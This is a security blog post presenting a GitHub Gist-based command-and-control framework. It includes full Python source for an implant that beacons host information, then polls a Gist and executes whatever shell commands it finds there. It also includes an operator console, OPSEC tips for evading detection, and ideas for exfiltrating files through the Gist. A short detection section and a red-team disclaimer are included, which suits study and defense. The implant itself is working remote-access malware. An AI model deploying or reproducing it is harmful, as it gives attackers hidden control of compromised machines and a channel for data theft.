// Home// Blog

GitHub Gist as C2: Living-off-the-Cloud Infrastructure

Building a stealthy command-and-control channel using GitHub Gist as the communications medium. Architecture, implementation, OPSEC trade-offs, and detection signals defenders should monitor.

T1102.001 T1071.001 T1105

Why GitHub Gist?

The best C2 infrastructure is the infrastructure nobody blocks. Corporate firewalls almost universally allow HTTPS to api.github.com — it's a developer necessity. Traffic to GitHub looks like a developer pushing code, not a malicious implant phoning home. No custom domains. No suspicious IPs. No SSL certificate anomalies. Everything is valid GitHub infrastructure.

This falls under the Living-off-the-Cloud category of MITRE ATT&CK — using legitimate cloud services (T1102) as C2 channels to blend into normal business traffic. The same principle works with Dropbox, Pastebin, Notion, and many others — GitHub Gist is particularly elegant because it's API-accessible, version-controlled, and free.

⚠️

Research context: This was built as an educational demonstration of the Living-off-the-Cloud C2 concept for red team training. Use only in authorized environments. GitHub's ToS prohibits using Gists for malicious purposes.

Architecture

The entire communication channel is a single GitHub Gist. The implant and operator both have access to the same Gist via a PAT (Personal Access Token). The Gist contains one file that serves as the shared message board:

  • Operator writes a command to the Gist file
  • Implant polls the Gist every N seconds, detects the new command, executes it
  • Implant writes output back to the Gist with an OUTPUT: prefix
  • Operator reads the output and sends the next command
ASCIICommunication flow
Operator ──PATCH──→ GitHub Gist API ←──GET── Implant
         ←──GET──                   ──PATCH─→
              ↕
         Gist File Content:
         [BEACON] hostname|user|Windows 11|PID 1234
         whoami                    ← operator command
         OUTPUT:                   ← implant response
         corp\administrator

Implant Design

The implant (implant.py) is a Python script that runs on the compromised host. On startup, it beacons its presence. Then it enters a polling loop, checking the Gist every 10 seconds for new commands.

Pythonimplant.py — core loop
import requests, subprocess, platform, os, socket, time

GIST_ID = "YOUR_GIST_ID"
PAT     = "YOUR_GITHUB_PAT"
HEADERS = {"Authorization": f"token {PAT}", "Accept": "application/vnd.github.v3+json"}
POLL_S  = 10  # poll interval in seconds

def gist_read():
    r = requests.get(f"https://api.github.com/gists/{GIST_ID}", headers=HEADERS, timeout=15)
    files = r.json().get("files", {})
    return next(iter(files.values()), {}).get("content", "")

def gist_write(content):
    filename = next(iter(requests.get(
        f"https://api.github.com/gists/{GIST_ID}", headers=HEADERS).json()["files"]))
    requests.patch(f"https://api.github.com/gists/{GIST_ID}",
                   headers=HEADERS, json={"files": {filename: {"content": content}}})

def beacon():
    info = f"[BEACON] {socket.gethostname()}|{os.getlogin()}|{platform.version()}|PID {os.getpid()}"
    gist_write(info)

def main():
    beacon()
    last_cmd = ""
    while True:
        content = gist_read()
        # Skip our own output and beacon lines
        if not content.startswith("[BEACON]") and not content.startswith("OUTPUT:") and content != last_cmd:
            last_cmd = content
            try:
                out = subprocess.check_output(content, shell=True, stderr=subprocess.STDOUT,
                                              timeout=30).decode(errors="replace")
            except Exception as e:
                out = str(e)
            gist_write(f"OUTPUT:\n{out[:4000]}")  # GitHub Gist file size limit
        time.sleep(POLL_S)

if __name__ == "__main__":
    main()

Operator Console

The operator side (operator.py) is an interactive console. The operator types commands, which are written to the Gist. The console then polls for an OUTPUT: response with a configurable timeout.

Pythonoperator.py — interactive console
def send_command(cmd, timeout=60):
    gist_write(cmd)
    print(f"[*] Sent: {cmd}")
    start = time.time()
    while time.time() - start < timeout:
        content = gist_read()
        if content.startswith("OUTPUT:"):
            print("\n[OUTPUT]")
            print(content[7:].strip())
            return
        time.sleep(3)
    print("[!] Timeout — no response")

def main():
    print("[+] 0xsr GitHubC2 operator console")
    print("[+] Commands: read (show Gist) | beacon | clear | help | exit | <shell command>")
    while True:
        cmd = input("\n(c2)> ").strip()
        if cmd == "exit":   break
        if cmd == "read":   print(gist_read()); continue
        if cmd == "beacon": print(gist_read()); continue
        if cmd == "clear":  gist_write(""); continue
        if cmd:             send_command(cmd)

Communication Protocol Details

The protocol is intentionally simple — no encryption beyond HTTPS (the GitHub API uses TLS). In a real engagement you'd add a layer of AES encryption with a pre-shared key so the Gist content is opaque even to GitHub. The prefix convention:

  • [BEACON] ... — implant beacon, ignored by operator
  • OUTPUT:\n... — implant response, ignored as command by implant
  • Anything else — treated as a shell command by the implant

The implant tracks last_cmd to avoid re-executing commands it already ran. The operator clears the Gist between commands to reset state.

OPSEC Considerations

Several OPSEC improvements for a real engagement:

  • Dedicated throwaway GitHub account: never use your real account. Create a fresh account for each engagement.
  • Minimum-scope PAT: Gist scope only. If the token is burned, the attacker can only access Gists — not repositories or organization data.
  • Payload encryption: XOR or AES-GCM encrypt commands and output with a pre-shared key. The Gist content appears as base64 garbage to anyone monitoring it.
  • Jitter on poll interval: Add ±30% random jitter to the 10-second poll interval to defeat beacon interval detection.
  • Private Gist: Use a private (not public/secret) Gist — only accessible with authentication.
  • Rotate Gists: For long engagements, rotate to a fresh Gist weekly. The old Gist is the only forensic artifact left after you delete it.
  • TLS certificate: api.github.com serves a valid GitHub certificate — no SSL inspection alert.
💡

Engagement note: This architecture generates exactly zero indicators on the host beyond outbound HTTPS to api.github.com. The traffic pattern — periodic small GET/PATCH requests to a well-known domain — is indistinguishable from IDE plugins, GitHub Actions checks, or Dependabot polling.

Detection Signals

Despite the stealth, defenders can detect this with the right visibility:

  • Periodic HTTPS to api.github.com from non-developer machines: If a server or workstation with no development tools is making API calls to github.com every 10 seconds, that's anomalous.
  • GitHub API calls from processes that shouldn't: If cmd.exe, powershell.exe, or Python scripts are making authenticated GitHub API calls, proxy logs will show the Authorization: token ghp_... header.
  • Beacon interval regularity: Even with jitter, machine-generated polling has statistical regularity detectable with ML-based beacon detection (C2 beacon detection tools like Rita or Zeek).
  • User-Agent string: Python's requests library uses python-requests/2.x.x as User-Agent — unusual for a business workstation accessing GitHub.
  • Gist content pattern: If your DLP or proxy is doing content inspection on HTTPS responses (requires SSL interception), you'd see the [BEACON] / OUTPUT: patterns.
🔵

Defense: Block api.github.com at the proxy for all machines that don't require it for legitimate development work. Alert on Python processes making outbound HTTPS requests on hosts without a Python development use case. Deploy SSL inspection to enable content-based detection.

Where to Take This Further

The Gist C2 is a proof-of-concept. Production-grade Living-off-the-Cloud C2 improvements:

  • Multiple Gists as channels: Separate Gists for tasking and output; use Gist IDs as ephemeral channel rotations
  • Binary-safe encoding: Base64 + AES-GCM for all content; use a Gist file per channel with random filename
  • File exfiltration: PATCH a Gist file with base64-encoded file chunks; operator reassembles
  • GitHub Actions as trigger: Instead of polling, use GitHub Actions webhook events to trigger the implant — zero polling traffic
  • Compiled implant: Rewrite in Go or Rust with the GitHub client library compiled in — no Python runtime required, smaller footprint